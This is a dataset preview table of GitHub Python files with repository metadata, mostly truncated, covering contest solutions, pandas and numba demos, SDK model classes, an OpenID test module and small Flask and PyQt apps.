blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
42db9ae5b41d878484401904355a985bab0c7f8d | f998a574343292d050777f616b408a74fde05738 | /eshop_docker/eshop/extra_apps/social_core/tests/backends/open_id_connect.py | 25e6b5db9900819e073facd14c2e6cdb9f222ebc | [] | no_license | Boomshakal/Django | 7987e0572fc902bd56360affea0b5087a4cb04a7 | a149691c472eab3440028bf2460cd992acec0f8a | refs/heads/master | 2023-01-11T06:16:29.283428 | 2022-12-23T08:00:05 | 2022-12-23T08:00:05 | 199,360,433 | 0 | 0 | null | 2020-06-06T09:37:02 | 2019-07-29T02:01:09 | Python | UTF-8 | Python | false | false | 6,334 | py | # -*- coding: utf-8 -*-
from calendar import timegm
import os
import sys
import json
import datetime
import unittest2
try:
from jwkest.jwk import RSAKey, KEYS
from jwkest.jws import JWS
from jwkest.jwt import b64encode_item
NO_JWKEST = False
except ImportError:
NO_JWKEST = True
f... | [
"[email protected]"
] | |
f82fa05a647d060994f1394b769def3f788dcc39 | 0eaf0d3f0e96a839f2ef37b92d4db5eddf4b5e02 | /abc274/b.py | 1f18cd915d905546bb897ac0c9a184c714fb9018 | [] | no_license | silphire/atcoder | b7b02798a87048757745d99e8564397d1ca20169 | f214ef92f13bc5d6b290746d5a94e2faad20d8b0 | refs/heads/master | 2023-09-03T17:56:30.885166 | 2023-09-02T14:16:24 | 2023-09-02T14:16:24 | 245,110,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | h, w = map(int, input().split())
cc = [
input().rstrip()
for _ in range(h)
]
xx = [0] * w
for x in range(w):
for y in range(h):
if cc[y][x] == '#':
xx[x] += 1
print(*xx) | [
"[email protected]"
] | |
325eb1dbf06a23dc59d7f10da7867ee273d97c26 | 0cbc02dd7d1efbe61de04dcf1c6eccb6496bf074 | /month05/teacher/day02/demo03_dataframe.py | f25546461a98a1a27fa428c2ff04b2b73a91f7a7 | [] | no_license | fsym-fs/Python_AID | 0b1755c15e20b214940041e81bedb2d5ec99e3f9 | f806bb02cdb1670cfbea6e57846abddf3972b73b | refs/heads/master | 2021-03-20T06:57:45.441245 | 2020-05-27T14:13:45 | 2020-05-27T14:13:45 | 247,187,064 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,871 | py | """
demo03_dataFrame.py
"""
import pandas as pd
import numpy as np
df = pd.DataFrame()
print(df)
# 通过列表创建DataFrame
data = ['王伟超', '王小超', '王大超', '王年轻超']
df = pd.DataFrame(data)
print(df)
data = [['Alex',10],['Bob',12],['Clarke',13]]
df = pd.DataFrame(data, index=['S01', 'S02', 'S03'], columns=['Name', 'A... | [
"[email protected]"
] | |
c02b81dbf0c54de6a19bd9b9039bd4f20831c548 | f435b177d625e50bb9beafb191e1df01e3cb30ee | /src/pyoiler/problems/euler015.py | c9d24f4b6a0d172559219d2b5607eca2cbc11049 | [] | no_license | bathcat/pyOiler | dcf948b0a18a9094314564d177c7827c875de78b | 3ce4d96277e61346509c2975a0034fb5ba845f23 | refs/heads/main | 2023-03-12T10:42:48.837126 | 2021-02-10T19:18:14 | 2021-02-10T19:18:14 | 337,828,844 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,357 | py | from typing import Iterable, Tuple
from ..shared.more_itertools import flat_map, count
from ..shared.solver import Solver
"""[summary]
2 thoughts on performance:
1. This *enumerates* paths, which isn't necessary.
All we need to do is count them, so just increment
a number when you get to 16,16, and... | [
"[email protected]"
] | |
0bf08e9a43aaf6b9a2ef34639ca2ac9cc2f35030 | 6478723d180a8ef39941ba04b80c1eca9f437323 | /Premuim/1134. Armstrong Number.py | 5e3cf31015b6a7071c89cb6029a027521886b866 | [] | no_license | NiuNiu-jupiter/Leetcode | 2a49a365898ecca393cb1eb53a47f4501b25952d | e278ae6ded32f6a2d054ae11ad8fcc45e7bd0f86 | refs/heads/master | 2022-11-22T01:05:57.417538 | 2020-07-28T23:34:39 | 2020-07-28T23:34:39 | 182,104,119 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 725 | py | """
The k-digit number N is an Armstrong number if and only if the k-th power of each digit sums to N.
Given a positive integer N, return true if and only if it is an Armstrong number.
Example 1:
Input: 153
Output: true
Explanation:
153 is a 3-digit number, and 153 = 1^3 + 5^3 + 3^3.
Example 2:
Input: ... | [
"[email protected]"
] | |
0da148c12136dd8d13acd43683cee98ce7199904 | c03d102d36ff21675ec3bb58e5d46af8c3f73ff6 | /polyaxon/tracker/events/job.py | 0e0cac80c31b9515316660fd5e0da98b98625c6c | [
"MIT"
] | permissive | errorsandwarnings/polyaxon | 40cc1ee5797fe8add0a3bfb693abcfcab1c2f9cb | 5eec0bc4aa4ad5f2dce8d1c0ef653265bf4fe6be | refs/heads/master | 2020-03-21T05:28:27.001571 | 2018-06-20T06:43:55 | 2018-06-20T07:40:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | import tracker
from event_manager.events import job
tracker.subscribe(job.JobCreatedEvent)
tracker.subscribe(job.JobUpdatedEvent)
tracker.subscribe(job.JobStartedEvent)
tracker.subscribe(job.JobStartedTriggeredEvent)
tracker.subscribe(job.JobSoppedEvent)
tracker.subscribe(job.JobSoppedTriggeredEvent)
tracker.subscrib... | [
"[email protected]"
] | |
ca40804f3b11f5bf3ee4a29175aac94bdf3ecb7c | 32c4b55b781b0b08860e1e56eb3cf226b1dc7644 | /ask-sdk-model/ask_sdk_model/services/reminder_management/trigger.py | af37e6b7ee01251792653e4516fb55111ff43832 | [
"Apache-2.0"
] | permissive | vertolab/alexa-apis-for-python | 8d2b4b5b44d0360bfa24508ca7d55e4f2c92e0dd | 85274cff0818e78d87f7f389e7b0e4613ddaa170 | refs/heads/master | 2020-04-29T01:33:15.395179 | 2019-03-15T02:33:42 | 2019-03-15T02:33:42 | 175,734,525 | 0 | 0 | Apache-2.0 | 2019-03-15T02:29:44 | 2019-03-15T02:29:44 | null | UTF-8 | Python | false | false | 5,240 | py | # coding: utf-8
#
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file
# except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "lice... | [
"[email protected]"
] | |
804fcab8ec23cea1ffebc6b018cc84cd0f542370 | c66955c6fc178955c2024e0318ec7a91a8386c2d | /testframework/excise/runnerwithallure.py | 2918eed15525373dfcc856b73f3e07c020e0037c | [] | no_license | duheng18/python-study | a98642d6ee1b0043837c3e7c5b91bf1e28dfa588 | 13c0571ac5d1690bb9e615340482bdb2134ecf0e | refs/heads/master | 2022-11-30T17:36:57.060130 | 2019-11-18T07:31:40 | 2019-11-18T07:31:40 | 147,268,053 | 1 | 0 | null | 2022-11-22T03:36:51 | 2018-09-04T00:49:42 | Python | UTF-8 | Python | false | false | 1,407 | py | #!/usr/bin/env python
# encoding: utf-8
import sys
import os
import pytest
import subprocess
import logging
import allure
import shutil
#为什么我们要设置这个路径到pythonPATH
sys.path.append(os.path.dirname(sys.modules[__name__].__file__))
fileHandler = logging.FileHandler(filename="../log/uiauto.log",encoding="utf-8")
logging.g... | [
"[email protected]"
] | |
73b7beaa9bea2b28e0fd1617ec699f27fe407e5a | 107f9bbd587decbab2e6188c0085e9f67b5f3708 | /Extractor/util/DoubleValExtractor.py | 6bba748c3edadf2ace17f5fc93206e110ab92d6e | [
"Apache-2.0"
] | permissive | FloatErrorAnalysis/LLVM | 4dbcd52a60774847949cf190a71cdf374ca437ce | 7ce723e1fe7fee227ab7c0ac8d49bca89459957a | refs/heads/master | 2020-04-03T14:56:55.038691 | 2018-11-11T15:09:56 | 2018-11-11T15:09:56 | 155,343,259 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,116 | py | # 一个专门用于提取ll文件double类型变量和相关函数以及double类型的函数的工具类
''' 全局标识符(函数,全局变量)以“@”字符开头。
本地标识符(注册名称,类型)以'%'字符开头 '''
class DoubleValExtractor:
source_file_path = ''
ll_file_content_list = []
vm_module = []
double_vars = []
double_functions = []
double_statements = []
def __init__(self, source_fil... | [
"[email protected]"
] | |
49440e2525655c4cccc5adb43fc2eaae167e8f7e | 82b946da326148a3c1c1f687f96c0da165bb2c15 | /sdk/python/pulumi_azure_native/cache/_enums.py | 687882b04641acfe4856e26c5ddfb16742be973e | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | morrell/pulumi-azure-native | 3916e978382366607f3df0a669f24cb16293ff5e | cd3ba4b9cb08c5e1df7674c1c71695b80e443f08 | refs/heads/master | 2023-06-20T19:37:05.414924 | 2021-07-19T20:57:53 | 2021-07-19T20:57:53 | 387,815,163 | 0 | 0 | Apache-2.0 | 2021-07-20T14:18:29 | 2021-07-20T14:18:28 | null | UTF-8 | Python | false | false | 3,490 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from enum import Enum
__all__ = [
'AofFrequency',
'ClusteringPolicy',
'DayOfWeek',
'EvictionPolicy',
'PrivateEndpointServiceConnec... | [
"[email protected]"
] | |
084d1e9466ab51b588f6b9e5ee5775e6b2032af3 | c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c | /cases/synthetic/exp-big-987.py | 98a30d699cfa98b31b62bcdabb1a8d73c564b701 | [] | no_license | Virtlink/ccbench-chocopy | c3f7f6af6349aff6503196f727ef89f210a1eac8 | c7efae43bf32696ee2b2ee781bdfe4f7730dec3f | refs/heads/main | 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,178 | py | # Compute x**y
def exp(x: int, y: int) -> int:
a: int = 0
a2: int = 0
a3: int = 0
a4: int = 0
a5: int = 0
def f(i: int) -> int:
nonlocal a
nonlocal a2
nonlocal a3
nonlocal a4
nonlocal a5
def geta() -> int:
return a
if i <= 0:
... | [
"[email protected]"
] | |
a6754e24060dada2bc601f991212c3b62a574c61 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02927/s825032151.py | 0c0da2fdaf320f22fbbb8c13954eeb5e830d6169 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 232 | py | M, D = map(int, input().split())
def f(m, d):
d1, d10 = d % 10, d // 10
return d1 >= 2 and d10 >= 2 and d1 * d10 == m
count = 0
for i in range(1, M+1):
for j in range(1, D + 1):
count += 1 if f(i, j) else 0
print(count) | [
"[email protected]"
] | |
f5321f3e48bf46ddb5a487c404d82dbee8b6acfd | 0124528676ee3bbaec60df5d6950b408e6da37c8 | /Projects/QTPy/adafruit-circuitpython-bundle-7.x-mpy-20220601/examples/irremote_transmit.py | 9595f492cf2210c7860dca7d88ef446d35ffbe60 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | land-boards/lb-boards | 8127658dc537dcfde0bb59a5018ab75c3f0087f6 | eeb98cc2003dac1924845d949f6f5bd387376568 | refs/heads/master | 2023-06-07T15:44:46.110742 | 2023-06-02T22:53:24 | 2023-06-02T22:53:24 | 4,847,305 | 10 | 12 | null | null | null | null | UTF-8 | Python | false | false | 968 | py | # SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries
# SPDX-License-Identifier: MIT
"""IR transmit example using Circuit Playground Express"""
# pylint: disable-msg=no-member
import time
import pulseio
import pwmio
import board
import digitalio
import adafruit_irremote
# Create a button object to trigger IR... | [
"[email protected]"
] | |
8b3821d319dca7c778f383c3838af711f2438bfd | 56f998d88a4cdae9f2c99b6f2013a10b90f227a2 | /network/admin.py | 8010ed3923c1ded4a1326c43ba9b78eac1fbe675 | [] | no_license | lautarodapin/network-course-cs50 | a45cfa675b7ff475ee1600276cbf47eb19fca7d9 | 2994c6b44eb46f4d303621a4e48604aa672017ea | refs/heads/main | 2023-04-02T06:42:14.599721 | 2021-04-09T20:57:18 | 2021-04-09T20:57:18 | 355,749,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 609 | py | from django.contrib import admin
from .models import Post, User, Comment
class CommentInline(admin.TabularInline):
model = Comment
extra = 0
@admin.register(Post)
class PostAdmin(admin.ModelAdmin):
list_display = [
"id",
"content",
"likes",
"user",
]
inlines = [Com... | [
"[email protected]"
] | |
97afbf06615fccf029968bf34a0bc4e21e70c552 | 5c74f8526f185d90093aba3fb213a11de5ea18ba | /rx/operators/observable/observeon.py | 8455b848d1b064d10076f186fa1593f02c7659e2 | [
"Apache-2.0"
] | permissive | yutiansut/RxPY | df02c64cb791bf2a7a97413a75f4d2903e1682b5 | c3bbba77f9ebd7706c949141725e220096deabd4 | refs/heads/master | 2020-03-10T11:07:27.642494 | 2018-12-29T07:02:02 | 2018-12-29T07:02:02 | 129,349,161 | 0 | 0 | NOASSERTION | 2018-12-29T07:02:03 | 2018-04-13T04:50:02 | Python | UTF-8 | Python | false | false | 794 | py | from rx.core import AnonymousObservable, ObservableBase
from rx.core.observeonobserver import ObserveOnObserver
def observe_on(source, scheduler) -> ObservableBase:
"""Wraps the source sequence in order to run its observer callbacks
on the specified scheduler.
Keyword arguments:
scheduler -- Schedule... | [
"[email protected]"
] | |
44f00df1320decf7dfa7e83714f2c1c267a32738 | 9d461bb7e7db942654a819fd544dd6e59e671841 | /gui_test.py | 179acc4ff415a686fb2d97162ac3584cbf8d961d | [] | no_license | vimcoper/qt_candle_chart | 193644057a43ef068292f2bd61e713530485f8e9 | 205c493e3e374562142eaac9992f73be9e0b9d98 | refs/heads/master | 2022-07-19T09:03:31.396671 | 2020-05-25T08:19:57 | 2020-05-25T08:19:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,135 | py | import sys
import time
import numpy as np
from matplotlib.backends.qt_compat import QtCore, QtWidgets, is_pyqt5
if is_pyqt5():
from matplotlib.backends.backend_qt5agg import (
FigureCanvas, NavigationToolbar2QT as NavigationToolbar)
else:
from matplotlib.backends.backend_qt4agg import (
Figure... | [
"[email protected]"
] | |
1e257cc346957e4e15add00df2f9cfc675ebce1c | 61a72b019346d10c502f7ed4d4894adbfe03c8cb | /legacy/structures.py | fd6f19c85c10d4ae631646b1bc26fe6ea01bdf4c | [
"BSD-2-Clause"
] | permissive | numba/numba-examples | 10617ced993e1f756595152711c1b6abe8d180a9 | c423f5419a459f5ab8874fda6d39bb5ea05d04b2 | refs/heads/master | 2023-08-23T15:33:21.729427 | 2022-06-27T22:54:27 | 2022-06-27T22:54:27 | 96,823,247 | 168 | 62 | BSD-2-Clause | 2022-09-29T19:24:53 | 2017-07-10T21:32:44 | Jupyter Notebook | UTF-8 | Python | false | false | 547 | py | #!/usr/bin/env python
from __future__ import print_function, division, absolute_import
import numpy as np
from numba import jit
record_type = np.dtype([('x', np.double), ('y', np.double)])
a = np.array([(1.0, 2.0), (3.0, 4.0)], dtype=record_type)
@jit
def hypot(data):
result = np.empty_like(data, dtype=np.floa... | [
"[email protected]"
] | |
ea5cf27bff17dbb8236475b3e8ee6c32c4dfa01f | 5c928e2b5024920d26c93f4b06e93c08a3e61294 | /portal_rnaseq_galaxy/scripts/api/copy_history_dataset_to_history.py | ec02564972b8186fd5dc669fbf1280a839f997fa | [
"CC-BY-2.5",
"AFL-2.1",
"AFL-3.0",
"CC-BY-3.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | BioinformaticsArchive/PathogenPortal | c390cf78299595d170b20a105afdd5200200ddaf | d4b1e525e7e91ce32ec29998a7bcb5a1415706a3 | refs/heads/master | 2021-01-22T12:49:48.599355 | 2013-08-13T16:16:13 | 2013-08-13T16:16:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py | #!/usr/bin/env python
import os, sys
sys.path.insert( 0, os.path.dirname( __file__ ) )
from common import submit
try:
assert sys.argv[3]
data = {}
data['from_hda_id'] = sys.argv[3]
except IndexError:
print 'usage: %s key url hda_file_id' % os.path.basename( sys.argv[0] )
print ' library_file_id... | [
"[email protected]"
] | |
4a2caa48c63041ee507c0375de604edc7effa7d2 | cc6a674cab1dc959189b9edff975625f4815bc1c | /Transformers-from-scratch/examples/set_context.py | 2317e03224a6ee1213b8d2ce86f2a61db92c7e66 | [
"MIT"
] | permissive | shreyansh26/DL-Code-Repository | 15173042f566ea42f96eb65283347927a2fab4ff | f1974eedc1fef54b2d274703390a22721e46f502 | refs/heads/master | 2023-07-15T23:15:05.484609 | 2021-08-30T15:41:20 | 2021-08-30T15:41:20 | 382,834,342 | 0 | 0 | null | 2021-07-04T12:11:08 | 2021-07-04T11:27:13 | Python | UTF-8 | Python | false | false | 203 | py | import os
import sys
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../tfb')))
import tfb | [
"[email protected]"
] | |
ae0760e8766262053cf1d4a77e9a84e482e76efa | 9f714608155e7f8b92cea3dd4bda78f3ac1f56a2 | /Resume/put_item.py | a58e932cec941fad48372545f0eed3a34fb0491c | [] | no_license | yenkuanlee/FoodResume | 0258dbaf29ac3efc864b47b70fdc14b8acc37dac | 2e7bff23235d569cf4caaba86f956b1bad749082 | refs/heads/master | 2020-03-20T23:58:25.545722 | 2018-07-09T04:12:37 | 2018-07-09T04:12:37 | 137,871,950 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 839 | py | # -*- coding: utf-8 -*-
import json
from web3 import Web3, HTTPProvider, TestRPCProvider
from web3.contract import ConciseContract
import os
import sys
Cpath = os.path.dirname(os.path.realpath(__file__))
host = 'localhost'
#account = '0x42946c2bb22ad422e7366d68d3ca07fb1862ff36' ## supplier
account = '0xe6ab871f860d9f2... | [
"[email protected]"
] | |
1b73f4236d71f8b4f37038833d494e5d23ba0b35 | 87b904ebf11d416567a7e49b91b8e9934f67c6f3 | /show_df_as_html_table.py | d8dd6bfadb056408f98c24475be1fe9ce25d2c20 | [
"MIT"
] | permissive | NathanKr/pandas-playground | a701f524aa48f22f6680e48c597206e10f8222e5 | a5355c59cb61ca3a7dcce590ed42d56a6b943783 | refs/heads/main | 2023-06-05T11:07:52.061327 | 2021-07-02T02:35:15 | 2021-07-02T02:35:15 | 328,917,719 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 260 | py | import pandas as pd
import os
url = 'https://en.wikipedia.org/wiki/List_of_S%26P_500_companies'
snp500_df = pd.read_html(url)[0]
file_path = os.path.join('temp','snp500_df_to_html.html')
print(f'write snp500_df to {file_path}')
snp500_df.to_html(file_path)
| [
"[email protected]"
] | |
a59830d94f066732fabbf3056710ff933a7aef39 | dddbc7dea28cc36fb110f83acbc4b6290c9dea2d | /Final/playground.py | 88ae3ba8f2832e52c36bc0d0c8f6f3411df0c682 | [] | no_license | rubcuadra/TC2025_PA | 82551d6b10a214b99a4d7110492c7c0c01188eed | 1893e1950709db009933d3f9ae9a84e9d8354241 | refs/heads/master | 2020-03-27T15:06:26.398245 | 2018-11-28T00:28:26 | 2018-11-28T00:28:26 | 146,698,373 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | from onitampy.board import OnitamaBoard
from onitampy.movements import OnitamaCards,DECK_INDEXES
if __name__ == '__main__':
board = OnitamaBoard()
# print(board)
board.cards[0].pop()
board.cards[0].pop()
board.cards[0].add('EEL')
board.cards[0].add('COBRA')
board.cards[1].pop()
board.ca... | [
"[email protected]"
] | |
1c255e182e83fd5efcc23f3fcd88ce421d2cfc4b | ff58ba25d940ed34d9684efab04adef85d1e1c0f | /src/management/__init__.py | 1cef4964de4e5953fc495c1d642a6ac0fde493ef | [] | no_license | afsmith/Kneto-Sello | e9046a81ff83652531adc55aab3f90f77af5b5be | a1b12daf8a04ef485ddcaa2944b2d87878a8cdd0 | refs/heads/master | 2021-03-27T17:31:23.830989 | 2013-06-04T07:29:58 | 2013-06-04T07:29:58 | 6,720,999 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | # -*- coding: utf-8 -*-
#
# Copyright (C) 2010 BLStream Sp. z o.o. (http://blstream.com/)
#
# Authors:
# Marek Mackiewicz <[email protected]>
#
"""Application for user management.
This application handles management of users and their permissions.
"""
# vim: set et sw=4 ts=4 sts=4 tw=78: | [
"[email protected]"
] | |
885b4a9b841ec2f7c0f895d76b18602485199964 | 846b11ccf549aba144c1824a24292a4850860ca7 | /5-ExerciciosFuncoes/4.py | dcb657a9902f0c3fd3e9da6f637323357681ce71 | [] | no_license | paulocesarcsdev/ExerciciosPython | 6d1feff293e7efc4cd3fbc62eee0add93f76db99 | 25bfaa6dc5cb294242e478a2b253a8ca5d9c7078 | refs/heads/master | 2023-05-15T00:53:22.151884 | 2021-06-10T03:04:04 | 2021-06-10T03:04:04 | 337,847,875 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 359 | py | '''
Faça um programa, com uma função que necessite de um argumento.
A função retorna o valor de caractere ‘P’, se seu argumento for positivo, e ‘N’, se seu argumento for zero ou negativo.
'''
def peso(valor):
if valor % 2 == 0:
return " 'P' "
else:
return " 'N' "
numero = int(input('Entre o o valo... | [
"[email protected]"
] | |
148b5b1f7ca8a9c5547ea64c99330d158348a5a4 | 9ac6fda4872f67faf8ce3cb541f10cea692e72ee | /main.py | 28467183158d45176c947599464a73fb8bbdd146 | [] | no_license | markbirds/OpenCV-Face-Recognition | 4db776d286313d9d93d464a4bce131add1f0921a | f486e3e0e37c4cd6cb23818a17f09194bfd9582e | refs/heads/master | 2023-02-08T01:01:22.442349 | 2021-01-04T13:06:45 | 2021-01-04T13:06:45 | 326,679,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,246 | py | import numpy as np
import cv2
import json
# loading features to be used for face detection
face_cascade = cv2.CascadeClassifier('src/haar_cascades/haarcascade_frontalface_default.xml')
face_recognizer = cv2.face.LBPHFaceRecognizer_create()
face_recognizer.read("./src/recognizer/face_trained.yml")
with open('./src/rec... | [
"[email protected]"
] | |
402d662f1e8116b3c4afdf8427dc4cddb4b05546 | 2d276785c3663d4798be462115291c4706dbd255 | /Python从菜鸟到高手/chapter5/demo5.04.py | 5cbb5b358fee5ddbaa83e6d82be4b05bab815d51 | [] | no_license | bupthl/Python | 81c92433bd955663e6cda5fe7cab5ea3d067c3de | bdb33aeeb179a43100b9ef7129a925c63a133fd3 | refs/heads/master | 2022-02-21T11:02:40.195265 | 2019-08-16T05:49:18 | 2019-08-16T05:49:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,689 | py | '''
--------《Python从菜鸟到高手》源代码------------
欧瑞科技版权所有
作者:李宁
如有任何技术问题,请加QQ技术讨论群:264268059
或关注“极客起源”订阅号或“欧瑞科技”服务号或扫码关注订阅号和服务号,二维码在源代码根目录
如果QQ群已满,请访问https://geekori.com,在右侧查看最新的QQ群,同时可以扫码关注公众号
“欧瑞学院”是欧瑞科技旗下在线IT教育学院,包含大量IT前沿视频课程,
请访问http://geekori.com/edu或关注前面提到的订阅号和服务号,进入移动版的欧瑞学院
“极客题库”是欧瑞科技旗下在线题库,请扫描源代码根目录中的小程序码安装“极客... | [
"[email protected]"
] | |
4649a07a27a686ce6bfe64cbce1f3e49493be5e0 | 23bfacd796850e9e2766bf3db3dcdfb640aa9cf4 | /anamdesktop/entry.py | 75ca190d87ad46083c09260be33ead5581aeadf0 | [] | no_license | yeleman/anam-desktop | f223e77099c4ca261414e19746ef8237dfcada32 | eefac7f58c84964b7871addffe5cc3201a299ae0 | refs/heads/master | 2021-03-12T17:54:27.987963 | 2020-10-22T18:56:34 | 2020-10-22T18:56:34 | 91,448,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 613 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# vim: ai ts=4 sts=4 et sw=4 nu
import sys
from PyQt5 import QtWidgets, QtCore
from anamdesktop import setlocale, logger
from anamdesktop.ui.main import MainWindow
def destroy():
logger.info("Exiting Application")
QtCore.QCoreApplication.instance().quit
sys... | [
"[email protected]"
] | |
31f593769f4303c41f20eafa27f63464428e87b0 | 829b0a557d3cc43a108f9b76d748e923fba8d928 | /lldb/packages/Python/lldbsuite/test/functionalities/breakpoint/source_regexp/TestSourceRegexBreakpoints.py | 2258989806066f4b103f6d06ed3b3d0720c6e638 | [
"NCSA",
"LLVM-exception",
"Apache-2.0"
] | permissive | ljh740/llvm-project | 31766f1f687939a679531d372d56755dbb5c415b | 89295aa3f2aebcd930e5ee7272ca47349bb7767d | refs/heads/sbingner/master | 2023-04-06T14:15:22.003403 | 2020-01-07T08:36:49 | 2020-01-07T08:36:49 | 255,562,403 | 0 | 0 | Apache-2.0 | 2021-04-15T14:56:23 | 2020-04-14T09:12:17 | null | UTF-8 | Python | false | false | 3,778 | py | """
Test lldb breakpoint setting by source regular expression.
This test just tests the source file & function restrictions.
"""
from __future__ import print_function
import lldb
from lldbsuite.test.decorators import *
from lldbsuite.test.lldbtest import *
from lldbsuite.test import lldbutil
class TestSourceRegexBr... | [
"[email protected]"
] | |
41e1aa9d1cb1c62fe89cbc3761521eaf73dce401 | 498cc670e199d8d3da497b8350b845c0717c505e | /readit/__init__.py | 6723f5391c8b467acf39e926f77185ca47b08323 | [] | no_license | dave-shawley/readit | 1a0b24fb859f00c6fc415647028ab5ee27453328 | 2a05f1de29ddc18ccae81b866d3da5b0a10d0236 | refs/heads/master | 2020-05-14T14:51:47.951498 | 2013-02-06T01:57:03 | 2013-02-06T01:57:03 | 6,038,460 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 494 | py | # order is important here
from .helpers import LinkMap
from .reading import Reading
from .user import User
# flaskapp import required to be last since it depends on
# other readit exports
from .flaskapp import app, Application
class MoreThanOneResultError(Exception):
"""You will encounter me when a single instan... | [
"[email protected]"
] | |
7aa4bba2c4b8fdf4ef4913eb41b7114c6a87829a | 49dd2e801ae161b97abc2e7704debf1b19ef5f5d | /config.py | 9ad5353015e986a27c9e8308ff1fbbbcc0b6cdba | [] | no_license | Ggzzhh/Learn_Flask | 7b207a45454e71def3bf332c4ee381a03c5f2082 | 3cd52b674e11fcfd883266e504fb11134ae23337 | refs/heads/master | 2021-01-20T09:23:39.089481 | 2017-09-21T01:52:52 | 2017-09-21T01:52:52 | 101,593,392 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,048 | py | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
import os
basedir = os.path.abspath(os.path.dirname(__file__))
# 基础设置
class Config:
# 设置密匙
SECRET_KEY = os.environ.get('SECRET_KEY') or 'GG0914ZH'
# 每次请求结束后自动提交数据库变动设置为true
SQLALCHEMY_COMMIT_ON_TEARDOWN = True
# Flask-SQLAlchemy 将会追踪对象的修改并且发送信号
SQL... | [
"[email protected]"
] | |
aca38c5c4660e95c314a00a95abe93394e298433 | 0ba1743e9f865a023f72a14d3a5c16b99ee7f138 | /problems/test_0037_bit_field.py | 24161f2a4e3a6e98aa27f1d11d43512d52de7cfa | [
"Unlicense"
] | permissive | chrisxue815/leetcode_python | d0a38a4168243b0628256825581a6df1b673855c | a33eb7b833f6998972e5340d383443f3a2ee64e3 | refs/heads/main | 2022-06-20T15:09:27.221807 | 2022-06-02T21:55:35 | 2022-06-02T21:55:35 | 94,590,264 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,778 | py | import unittest
class Solution:
def solveSudoku(self, board):
"""
:type board: List[List[str]]
:rtype: void Do not return anything, modify board in-place instead.
"""
rows = [-1] * 9
cols = [-1] * 9
blocks = [-1] * 9
for rownum, row in enumerate(boa... | [
"[email protected]"
] | |
b095020e31a76e851a1c922f39050300a38635b1 | 942f0b081d2271978ffe20fbbfa8d687b57e5c02 | /leetcode-june-challenge/largest_divisible_subset.py | 78df0caffe4029792b53277570585a87054ba1a7 | [] | no_license | simtb/coding-puzzles | 99762322606bb505d82924d4d5843db1c04aafbd | 9e1d53e35b2117240eb357d7930cdb8cfd891c8e | refs/heads/master | 2021-04-12T15:46:40.181048 | 2021-02-28T23:47:36 | 2021-02-28T23:47:36 | 249,089,264 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 689 | py | """
Given a set of distinct positive integers, find the largest subset such that every pair (Si, Sj) of elements in this subset satisfies:
Si % Sj = 0 or Sj % Si = 0.
